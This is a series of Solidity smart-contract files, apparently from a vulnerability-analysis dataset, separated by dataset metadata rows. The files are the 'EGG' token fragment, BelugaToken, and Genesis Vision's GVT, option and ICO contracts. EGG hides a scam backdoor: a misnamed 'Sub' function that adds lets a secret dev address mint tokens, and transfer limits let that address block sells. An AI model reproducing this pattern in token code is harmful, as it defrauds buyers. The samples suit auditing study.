return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EGG is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**8 * 10**6;
bool public lock = true;
address public uniSwapV2;
string private _name;
string private _symbol;
uint8 private _decimals = 6;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**8 * 10**6;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function LiquidityTX(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function uniSV2(bool _lock,address _uniSwapV2) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
lock = _lock;
uniSwapV2 = _uniSwapV2;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**6;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!lock){
if(recipient == uniSwapV2 && sender != _excludeDevAddress){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, BURN_ADDRESS, burnAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 257,753 | 591 |
73b7afd4e74215f004767193bd6e56eac2ed3f97fbd640bdf74e39636037f27e
| 36,738 |
.sol
|
Solidity
| false |
321513764
|
belugaprotocol/beluga-protocol-old
|
d94f5a0bf210dee7cde6450ce2d601f86465c140
|
contracts/BelugaToken.sol
| 4,897 | 19,117 |
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// BelugaToken with Governance.
contract BelugaToken is BEP20('BelugaToken', 'BELUGA') {
uint256 public constant HARD_CAP = 25 * (10 ** 6) * (10 ** 18);
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner.
function mint(address _to, uint256 _amount) public onlyOwner {
require(totalSupply().add(_amount) <= HARD_CAP, "BELUGA: Minting this amount exceeds hard cap");
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BELUGA::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "BELUGA::delegateBySig: invalid nonce");
require(now <= expiry, "BELUGA::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "BELUGA::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying BELUGA (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "BELUGA::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 21,962 | 592 |
f1b88e418f1f0a2c0e4660bd871cb9703586da3495861e596432196334b1b9ca
| 20,488 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4e9547d1a1154ee0451f063c253ad8dc39d5384c.sol
| 4,852 | 18,230 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
// Migration Agent interface
contract MigrationAgent {
function migrateFrom(address _from, uint _value);
}
contract GVToken is StandardToken {
// Constants
string public constant name = "Genesis Vision Token";
string public constant symbol = "GVT";
uint public constant decimals = 18;
uint constant TOKEN_LIMIT = 44 * 1e6 * 1e18;
address public ico;
// GVT transfers are blocked until ICO is finished.
bool public isFrozen = true;
// Token migration variables
address public migrationMaster;
address public migrationAgent;
uint public totalMigrated;
event Migrate(address indexed _from, address indexed _to, uint _value);
// Constructor
function GVToken(address _ico, address _migrationMaster) {
require(_ico != 0);
require(_migrationMaster != 0);
ico = _ico;
migrationMaster = _migrationMaster;
}
// Create tokens
function mint(address holder, uint value) {
require(msg.sender == ico);
require(value > 0);
require(totalSupply + value <= TOKEN_LIMIT);
balances[holder] += value;
totalSupply += value;
Transfer(0x0, holder, value);
}
// Allow token transfer.
function unfreeze() {
require(msg.sender == ico);
isFrozen = false;
}
// ERC20 functions
// =========================
function transfer(address _to, uint _value) public returns (bool) {
require(_to != address(0));
require(!isFrozen);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(!isFrozen);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint _value) public returns (bool) {
require(!isFrozen);
return super.approve(_spender, _value);
}
// Token migration
function migrate(uint value) external {
require(migrationAgent != 0);
require(value > 0);
require(value <= balances[msg.sender]);
balances[msg.sender] -= value;
totalSupply -= value;
totalMigrated += value;
MigrationAgent(migrationAgent).migrateFrom(msg.sender, value);
Migrate(msg.sender, migrationAgent, value);
}
// Set address of migration contract
function setMigrationAgent(address _agent) external {
require(migrationAgent == 0);
require(msg.sender == migrationMaster);
migrationAgent = _agent;
}
function setMigrationMaster(address _master) external {
require(msg.sender == migrationMaster);
require(_master != 0);
migrationMaster = _master;
}
}
contract GVOptionToken is StandardToken {
address public optionProgram;
string public name;
string public symbol;
uint public constant decimals = 18;
uint TOKEN_LIMIT;
// Modifiers
modifier optionProgramOnly { require(msg.sender == optionProgram); _; }
// Constructor
function GVOptionToken(address _optionProgram,
string _name,
string _symbol,
uint _TOKEN_LIMIT) {
require(_optionProgram != 0);
optionProgram = _optionProgram;
name = _name;
symbol = _symbol;
TOKEN_LIMIT = _TOKEN_LIMIT;
}
// Create tokens
function buyOptions(address buyer, uint value) optionProgramOnly {
require(value > 0);
require(totalSupply + value <= TOKEN_LIMIT);
balances[buyer] += value;
totalSupply += value;
Transfer(0x0, buyer, value);
}
function remainingTokensCount() returns(uint) {
return TOKEN_LIMIT - totalSupply;
}
// Burn option tokens after execution during ICO
function executeOption(address addr, uint optionsCount)
optionProgramOnly
returns (uint) {
if (balances[addr] < optionsCount) {
optionsCount = balances[addr];
}
if (optionsCount == 0) {
return 0;
}
balances[addr] -= optionsCount;
totalSupply -= optionsCount;
return optionsCount;
}
}
contract GVOptionProgram {
// Constants
uint constant option30perCent = 26 * 1e16; // GVOT30 tokens per usd cent during option purchase
uint constant option20perCent = 24 * 1e16; // GVOT20 tokens per usd cent during option purchase
uint constant option10perCent = 22 * 1e16; // GVOT10 tokens per usd cent during option purchase
uint constant token30perCent = 13684210526315800; // GVT tokens per usd cent during execution of GVOT30
uint constant token20perCent = 12631578947368500; // GVT tokens per usd cent during execution of GVOT20
uint constant token10perCent = 11578947368421100; // GVT tokens per usd cent during execution of GVOT10
string public constant option30name = "30% GVOT";
string public constant option20name = "20% GVOT";
string public constant option10name = "10% GVOT";
string public constant option30symbol = "GVOT30";
string public constant option20symbol = "GVOT20";
string public constant option10symbol = "GVOT10";
uint constant option30_TOKEN_LIMIT = 26 * 1e5 * 1e18;
uint constant option20_TOKEN_LIMIT = 36 * 1e5 * 1e18;
uint constant option10_TOKEN_LIMIT = 55 * 1e5 * 1e18;
// Events
event BuyOptions(address buyer, uint amount, string tx, uint8 optionType);
event ExecuteOptions(address buyer, uint amount, string tx, uint8 optionType);
// State variables
address public gvAgent; // payments bot account
address public team; // team account
address public ico;
GVOptionToken public gvOptionToken30;
GVOptionToken public gvOptionToken20;
GVOptionToken public gvOptionToken10;
// Modifiers
modifier icoOnly { require(msg.sender == ico); _; }
// Constructor
function GVOptionProgram(address _ico, address _gvAgent, address _team) {
gvOptionToken30 = new GVOptionToken(this, option30name, option30symbol, option30_TOKEN_LIMIT);
gvOptionToken20 = new GVOptionToken(this, option20name, option20symbol, option20_TOKEN_LIMIT);
gvOptionToken10 = new GVOptionToken(this, option10name, option10symbol, option10_TOKEN_LIMIT);
gvAgent = _gvAgent;
team = _team;
ico = _ico;
}
// Get remaining tokens for all types of option tokens
function getBalance() public returns (uint, uint, uint) {
return (gvOptionToken30.remainingTokensCount(), gvOptionToken20.remainingTokensCount(), gvOptionToken10.remainingTokensCount());
}
// Execute options during the ICO token purchase. Priority: GVOT30 -> GVOT20 -> GVOT10
function executeOptions(address buyer, uint usdCents, string txHash) icoOnly
returns (uint executedTokens, uint remainingCents) {
require(usdCents > 0);
(executedTokens, remainingCents) = executeIfAvailable(buyer, usdCents, txHash, gvOptionToken30, 0, token30perCent);
if (remainingCents == 0) {
return (executedTokens, 0);
}
uint executed20;
(executed20, remainingCents) = executeIfAvailable(buyer, remainingCents, txHash, gvOptionToken20, 1, token20perCent);
if (remainingCents == 0) {
return (executedTokens + executed20, 0);
}
uint executed10;
(executed10, remainingCents) = executeIfAvailable(buyer, remainingCents, txHash, gvOptionToken10, 2, token10perCent);
return (executedTokens + executed20 + executed10, remainingCents);
}
// Buy option tokens. Priority: GVOT30 -> GVOT20 -> GVOT10
function buyOptions(address buyer, uint usdCents, string txHash) icoOnly {
require(usdCents > 0);
var remainUsdCents = buyIfAvailable(buyer, usdCents, txHash, gvOptionToken30, 0, option30perCent);
if (remainUsdCents == 0) {
return;
}
remainUsdCents = buyIfAvailable(buyer, remainUsdCents, txHash, gvOptionToken20, 1, option20perCent);
if (remainUsdCents == 0) {
return;
}
remainUsdCents = buyIfAvailable(buyer, remainUsdCents, txHash, gvOptionToken10, 2, option10perCent);
}
// Private functions
function executeIfAvailable(address buyer, uint usdCents, string txHash,
GVOptionToken optionToken, uint8 optionType, uint optionPerCent)
private returns (uint executedTokens, uint remainingCents) {
var optionsAmount = usdCents * optionPerCent;
executedTokens = optionToken.executeOption(buyer, optionsAmount);
remainingCents = usdCents - (executedTokens / optionPerCent);
if (executedTokens > 0) {
ExecuteOptions(buyer, executedTokens, txHash, optionType);
}
return (executedTokens, remainingCents);
}
function buyIfAvailable(address buyer, uint usdCents, string txHash,
GVOptionToken optionToken, uint8 optionType, uint optionsPerCent)
private returns (uint) {
var availableTokens = optionToken.remainingTokensCount();
if (availableTokens > 0) {
var tokens = usdCents * optionsPerCent;
if(availableTokens >= tokens) {
optionToken.buyOptions(buyer, tokens);
BuyOptions(buyer, tokens, txHash, optionType);
return 0;
}
else {
optionToken.buyOptions(buyer, availableTokens);
BuyOptions(buyer, availableTokens, txHash, optionType);
return usdCents - availableTokens / optionsPerCent;
}
}
return usdCents;
}
}
contract Initable {
function init(address token);
}
// Crowdfunding code for Genesis Vision Project
contract ICO {
// Constants
uint public constant TOKENS_FOR_SALE = 33 * 1e6 * 1e18;
